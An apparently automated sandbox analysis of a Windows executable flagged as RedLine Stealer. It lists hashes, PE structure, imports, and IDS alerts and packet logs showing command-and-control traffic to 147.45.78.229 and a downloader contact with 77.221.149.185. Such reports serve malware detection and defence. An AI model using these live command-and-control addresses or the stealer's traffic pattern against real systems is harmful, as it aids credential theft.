SHA512:	0f0cf3744a6b0d07e54305c2dee7920c0d18ae10667abf0e2e6b25377b702f021fb77dfd716edd9f106aa53634493bf9a9b79ce00902e4e04abd825ec50f9277
SSDEEP:	12288:RhWBAslGt0whBHsIOBJ0pokRqQ4s7My+5kpea2teQfx:XAwtZHHstJ0ecN4s+5tj
TLSH:	2B94F161BAF25235F3F78A341AB56A541F3BBC777D74814E2250275E0EB22C28E61723
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._......,...,...,...,...,...,...,...,{..,<..,...,...,t..,...,...,...,...,...,...,Rich...,................PE..L.....ne...........

File Icon


Icon Hash:	4765656565e54548

Static PE Info

General

Entrypoint:	0x4019e1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x656ECA1D [Tue Dec 5 06:58:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	073f294e5446f7e845558e1b74454edb

Entrypoint Preview

Instruction
call 00007FAF88B7874Fh
jmp 00007FAF88B74C4Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004588F8h], eax
mov dword ptr [004588F4h], ecx
mov dword ptr [004588F0h], edx
mov dword ptr [004588ECh], ebx
mov dword ptr [004588E8h], esi
mov dword ptr [004588E4h], edi
mov word ptr [00458910h], ss
mov word ptr [00458904h], cs
mov word ptr [004588E0h], ds
mov word ptr [004588DCh], es
mov word ptr [004588D8h], fs
mov word ptr [004588D4h], gs
pushfd
pop dword ptr [00458908h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004588FCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00458900h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0045890Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00458848h], 00010001h
mov eax, dword ptr [00458900h]
mov dword ptr [004587FCh], eax
mov dword ptr [004587F0h], C0000409h
mov dword ptr [004587F4h], 00000001h
mov eax, dword ptr [00457004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [00457008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000B0h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5577c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2344000	0xd918	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x55340	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x54000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x52e35	0x53000	9cea9a5d9bb4ffb134f8f6c075df73e0	False	0.9458566688629518	data	7.930607336213552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x54000	0x2090	0x2200	3860f96f84ce024e9299b2dbb085bd76	False	0.3502987132352941	data	5.4537741778552284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x57000	0x22ec520	0x1e00	1572f0b28aa6d53fd141cf9ab4375078	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2344000	0xd918	0xda00	56b38464e886db2dfb7f6c1762a94dfc	False	0.5653848910550459	data	5.514952988188799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
YEFE	0x234aed8	0x3fa	ASCII text, with very long lines (1018), with no line terminators	Turkish	Turkey	0.6316306483300589
RT_CURSOR	0x234b2d8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4276315789473684
RT_ICON	0x23446a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.8078358208955224
RT_ICON	0x2345548	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.8000902527075813
RT_ICON	0x2345df0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.7252304147465438
RT_ICON	0x23464b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.726878612716763
RT_ICON	0x2346a20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkish	Turkey	0.7096473029045643
RT_ICON	0x2348fc8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkish	Turkey	0.7420262664165104
RT_ICON	0x234a070	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkish	Turkey	0.7586065573770492
RT_ICON	0x234a9f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkish	Turkey	0.773936170212766
RT_STRING	0x234b5c8	0x18e	data			0.4798994974874372
RT_STRING	0x234b758	0x9e	data			0.569620253164557
RT_STRING	0x234b7f8	0x6c8	data			0.4245391705069124
RT_STRING	0x234bec0	0x67a	data			0.43184559710494574
RT_STRING	0x234c540	0x5e0	data			0.4375
RT_STRING	0x234cb20	0x258	data			0.4866666666666667
RT_STRING	0x234cd78	0x6f8	data			0.4304932735426009
RT_STRING	0x234d470	0x62e	data			0.4393173198482933
RT_STRING	0x234daa0	0x6fa	data			0.425531914893617
RT_STRING	0x234e1a0	0x5a0	data			0.4388888888888889
RT_STRING	0x234e740	0x67c	AmigaOS bitmap font "a", fc_YSize 28416, 18944 elements, 2nd "&", 3rd "a"			0.4295180722891566
RT_STRING	0x234edc0	0x868	data			0.4144981412639405
RT_STRING	0x234f628	0x87c	data			0.4129834254143646
RT_STRING	0x234fea8	0x624	data			0.4357506361323155
RT_STRING	0x23504d0	0x68a	data			0.43309438470728795
RT_STRING	0x2350b60	0x68e	data			0.43206197854588796
RT_STRING	0x23511f0	0x646	data			0.4364881693648817
RT_STRING	0x2351838	0xdc	data			0.5590909090909091
RT_GROUP_CURSOR	0x234b408	0x14	data			1.15
RT_GROUP_ICON	0x234ae60	0x76	data	Turkish	Turkey	0.6610169491525424
RT_VERSION	0x234b420	0x1a8	data			0.5990566037735849

Imports

DLL	Import
KERNEL32.dll	SetVolumeMountPointW, GetComputerNameW, SleepEx, GetCommProperties, GetModuleHandleW, GetTickCount, EnumCalendarInfoExW, ReadConsoleOutputA, GlobalAlloc, LoadLibraryW, lstrcpynW, GetModuleFileNameW, CreateJobObjectA, GetLogicalDriveStringsW, GetLastError, GetProcAddress, BuildCommDCBW, GetAtomNameA, LoadLibraryA, WriteConsoleA, UnhandledExceptionFilter, InterlockedExchangeAdd, AddAtomA, FoldStringA, lstrcatW, FindFirstVolumeA, AreFileApisANSI, OpenJobObjectA, ZombifyActCtx, GetConsoleAliasesW, GetConsoleAliasExesLengthA, CreateFileA, WriteConsoleW, MultiByteToWideChar, HeapAlloc, HeapReAlloc, GetStartupInfoW, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, VirtualAlloc, HeapCreate, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, SetHandleCount, GetFileType, GetStartupInfoA, HeapSize, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringA, WideCharToMultiByte, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, InitializeCriticalSectionAndSpinCount, RtlUnwind, ReadFile, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, SetStdHandle, CloseHandle, GetConsoleOutputCP
GDI32.dll	GetBoundsRect
ADVAPI32.dll	EnumDependentServicesA
ole32.dll	CoTaskMemRealloc
WINHTTP.dll	WinHttpAddRequestHeaders

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-22:52:10.091193	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	49704	43674	192.168.2.5	147.45.78.229
07/02/24-22:52:10.244221	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	43674	49704	147.45.78.229	192.168.2.5
07/02/24-22:52:16.313042	TCP	2046056	ET TROJAN Redline Stealer/MetaStealer Family Activity (Response)	43674	49704	147.45.78.229	192.168.2.5
07/02/24-22:52:23.087920	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49704	43674	192.168.2.5	147.45.78.229
07/02/24-22:52:28.332710	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49712	80	192.168.2.5	77.221.149.185

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 22:52:09.014072895 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:09.019212008 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:09.020956993 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:09.185415030 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:09.385008097 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:09.600496054 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:09.648272038 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:10.091192961 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:10.096302032 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:10.244220972 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:10.288914919 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:16.158541918 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:16.164005995 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.313041925 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.313064098 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.313074112 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.313148975 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:16.313224077 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.313237906 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.313276052 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:16.367047071 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:16.740133047 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:16.745281935 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.898412943 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:16.946161032 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.234775066 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.240448952 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.388704062 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.429550886 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.493427038 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.499083996 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499114990 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499145985 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.499169111 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.499270916 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499279976 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499288082 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499296904 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499352932 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499361992 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499371052 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.499458075 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.505342960 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.505407095 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.505423069 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.505430937 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.505439043 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.722764969 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.726819992 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.731730938 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.878798962 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.897779942 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:17.903064013 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:17.903595924 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:18.111260891 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:18.163975000 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:19.919306993 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:19.924911976 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.092561007 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.132740974 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:20.303630114 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:20.308998108 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.459769964 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.468425989 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:20.473467112 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.624613047 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.635194063 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:20.640754938 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.789118052 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.790249109 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:20.795783997 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.945343971 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:20.948813915 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:20.954020023 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.120539904 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.126183033 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:21.133824110 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.281929016 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.286915064 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:21.291934967 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.439992905 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.472105026 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:21.477639914 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.629861116 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.637705088 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:21.644809961 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.791965961 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.797616959 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:21.803226948 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.950470924 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:21.992037058 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.007360935 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.012368917 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.159231901 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.210854053 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.262804985 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.268769979 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.268800974 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.268809080 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.268817902 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.268825054 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.268870115 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.268920898 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.269263983 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.269274950 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.269284010 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.269292116 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.269324064 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.269361973 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.269920111 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.269973993 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.274261951 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274454117 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274465084 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274497032 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274506092 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274516106 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274524927 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274533987 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.274559021 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.274583101 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.274614096 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.274652004 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.275317907 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.275366068 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.275376081 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.275424004 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.279159069 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279169083 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279225111 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279233932 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279242992 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279263020 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.279300928 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.279520988 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279530048 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279537916 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279577971 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.279674053 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279684067 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279691935 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279717922 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279733896 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.279776096 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279784918 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279793024 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279800892 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279808998 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279939890 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279949903 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279958010 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279966116 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279973984 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279983044 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.279999018 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280006886 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280023098 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280030966 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280039072 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280051947 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280060053 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280067921 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280075073 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280082941 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280090094 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280221939 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280251026 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.280284882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280293941 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280306101 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.280325890 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280335903 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280340910 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.280345917 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280369043 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.280402899 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280409098 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.280420065 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280469894 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.280616999 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.280951977 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.284301996 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284311056 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284318924 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284354925 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.284362078 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284368038 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.284374952 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284415960 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.284651041 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284661055 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284701109 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.284811020 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284849882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.284904003 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.285123110 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285255909 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285307884 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.285352945 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285363913 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285387039 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285396099 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285506010 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285515070 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285521984 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285537958 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285545111 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285553932 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.285561085 CEST	43674	49704	147.45.78.229	192.168.2.5
